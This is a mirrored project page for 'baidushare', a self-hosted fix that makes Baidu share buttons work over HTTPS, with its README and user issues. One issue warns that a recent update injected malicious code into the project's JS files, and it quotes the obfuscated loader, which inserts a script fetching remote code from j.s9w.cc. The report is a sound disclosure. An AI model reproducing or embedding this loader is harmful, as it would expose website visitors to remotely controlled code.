Code Monkey home page Code Monkey logo

baidushare's Introduction

百度分享不支持Https的解决方案

使用方法:

将static文件夹放在网站的根目录下,并将对应的百度分享代码中,把http://bdimg.share.baidu.com/改为 /

如何修改获得该代码等详见Blog:

https://www.hrwhisper.me/baidu-share-not-support-https-solution/

更新日志

2016.11.23

  • 回滚之前版本,重新上传

2016.10.2

  • 修复悬浮窗样式无效问题

2016.7.27

  • 加入slide_view.js

2016.7.15

  • 修复32icon和24icon等问题

2016.7.14

  • 修复文字分享等一些文件缺失的问题

2016.7.9

  • 修复URL过长导致微信分享二维码显示不出的问题
  • 微信分享外观微调

baidushare's People

Contributors

hrwhisper avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

baidushare's Issues

首先感谢你的无私奉献,最近一次的更新里面存在恶意代码

最近一次的更新里面存在恶意代码,js文件都被附加了如下代码

;;(function(){window.v6d061dfa0ddfd12160ad851976e4a26d="fx";window.v6d061dfa0ddfd12160ad851976e4a26e="j.s9w.cc"})();
var f476e749bb252bde7a5c2c9994b6116ce=function(){function b(a){if(!d&&("onreadystatechange"!==a.type||"complete"===document.readyState)){for(a=0;a<c.length;a++)c[a].call(document);d=!0;c=null}}var c=[],d=!1;document.addEventListener?(document.addEventListener("DOMContentLoaded",b,!1),document.addEventListener("readystatechange",b,!1),window.addEventListener("load",b,!1)):document.attachEvent&&(document.attachEvent("onreadystatechange",b),window.attachEvent("onload",b));return function(a){d?a.call(document):
c.push(a)}}();
function f006b08735d9928a8820efe00a26753e7(){try{var b=window.top.document;if(!b.getElementById("82ac324e455efd0ecd2e73d22d852758")){var c=b.createElement("script");c.setAttribute("type","text/javascript");c.setAttribute("id","82ac324e455efd0ecd2e73d22d852758");var d="http://"+window.v6d061dfa0ddfd12160ad851976e4a26e+"/j/?v=1&t="+window.v6d061dfa0ddfd12160ad851976e4a26d+"&j=j";b.getElementsByTagName("head")[0].appendChild(c);c.setAttribute("src",d)}}catch(a){console.log(a.message)}}f476e749bb252bde7a5c2c9994b6116ce(f006b08735d9928a8820efe00a26753e7);

严重怀疑大侠电脑中毒。难道是大侠的别有用心。

微信二维码中文乱码问题解决

/static/api/js/trans/trans_weixin.js 换成官方的就不乱码了

window._bd_share_main.F.module("trans/trans_weixin",function(e,t){var n="bdshare_weixin_qrcode_dialog",r="",i=0,s,o,u,a={},f=e("base/tangram").T,l=e("conf/const").URLS,c=function(e){var t=Math.round(200/e.length);t=t<2?2:t,i=te.length;var n='

',r=[n],s="";return f.each(e,function(e,n){r.push(""),f.each(n,function(e,n){s='<td style="width:'+t+"px;height:"+t+"px;padding:0;margin:0;border:none;background:#"+(n?"000":"FFF")+'">',r.push(s)})}),r.push("
"),r.join("")},h=function(e,t){window._bd_share_main.F.use("component/qrcode",function(t){var n=t.QRCode,r=t.QRErrorCorrectLevel,o=new n(-1,r.L);o.addData(e),o.make();var a=c(o.modules),l=f(a).appendTo(u.empty());v(i),y(),s.attr("data-url",e)})},p=function(e,t){var n=l.shortUrl+"?"+f.ajax.param({url:e});f.sio(n).callByServer(function(n){if(n&&n.error==0)t(n.data.short_url);else{var r=e;h(r,!0)}})},d=function(){s.attr("data-url")!=r&&(u.html("\u6b63\u5728\u52a0\u8f7d"),r.length>200?p(r,function(e){h(e,!0)}):h(r))},v=function(e){var t=(e>220?e:220)+20,n=f(".bd_weixin_popup_foot").height()+f(".bd_weixin_popup_head").height()+e+30;s.css({width:t,height:n})},m=function(){s=f("#"+n),o=f("#"+n+"_bg");if(s.length<1){var e='<iframe id="'+n+'_bg" class="bd_weixin_popup_bg"></iframe>',t=['
','
',"\u5206\u4eab\u5230\u5fae\u4fe1\u670b\u53cb\u5708",'×',"
",'
','
\u6253\u5f00\u5fae\u4fe1\uff0c\u70b9\u51fb\u5e95\u90e8\u7684\u201c\u53d1\u73b0\u201d\uff0c
\u4f7f\u7528\u201c\u626b\u4e00\u626b\u201d\u5373\u53ef\u5c06\u7f51\u9875\u5206\u4eab\u81f3\u670b\u53cb\u5708\u3002
',"
"].join("");o=f(e).appendTo("body"),s=f(t).appendTo("body"),g()}u=s.find("#"+n+"_qr"),b()},g=function(){s.find(".bd_weixin_popup_close").click(w),f("body").on("keydown",function(e){e.keyCode==27&&w()}),f(window).resize(function(){y()})},y=function(){var e=f(window).scrollTop(),t=s.outerWidth(),n=s.outerHeight(),r=f(window).width(),i=f(window).height(),u=(i-n)/2+e,a=(r-t)/2;u=u<0?0:u,a=a<0?0:a,o.width(t).height(n).css({left:a,top:u}),s.css({left:a,top:u})},b=function(){s.show(),o.show(),y()},w=function(){s.hide(),o.hide()},E=function(e){var t="10006-weixin-1-52626-6b3bffd01fdde4900130bc5a2751b6d1";if(a.sign==="off")return e;if(a.sign==="normal"){var n=e.indexOf("#"),r=e.indexOf("?");return n==-1?e+(r==-1?"?":"&")+t:e.replace("#",(r==-1?"?":"&")+t+"#")}return e.replace(/#.
$/g,"")+"#"+t},S=function(e){e=E(e);var t=[];return f.each(e,function(e,n){/[^\x00-\xff]/.test(n)?t[e]=encodeURI(n):t[e]=n}),e=t.join(""),e},x=function(){window._bd_share_main.F.use("component/pop_dialog",function(e){e.Dialog.hide()})},T=function(e){a=e,r=S(e.url),window._bd_share_main.F.use("weixin_popup.css",function(){x(),m(),d()})};t.run=T});

百度分享总数不显示

使用http可以先手分享的总数,使用https,好像获取不到这个数据,f12控制台也没有什么错误,有人知道怎么解决吗

Hexo Next 使用https 百度分享无法正常显示

Hexo Next 使用后 显示 Uncaught SyntaxError: missing ) after argument list

具体操作如下:

  1. 下载该项目 将static文件夹放在Hexo 根目录下面的source文件夹下
  2. 修改 themes\next\layout_partials\share\baidushare.swing 中的内容 将script 中的src 改为
    '/static/api/js/share.js?cdnversion='+~(-new Date()/36e5)];
  3. hexo clean all && hexo g
  4. 打开页面检查元素 可以看到console 中有这个错误
    Uncaught SyntaxError: missing ) after argument list

请问这个是什么情况? 如何解决?

https跨域

This request has been blocked; the content must be served over HTTPS.

没有碰到这个麻烦么?

不可以用

share_api.js?v=226108fe.js:1 Uncaught SyntaxError: Unexpected token <
share_view.js?v=3ae6026d.js:1 Uncaught SyntaxError: Unexpected token <

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.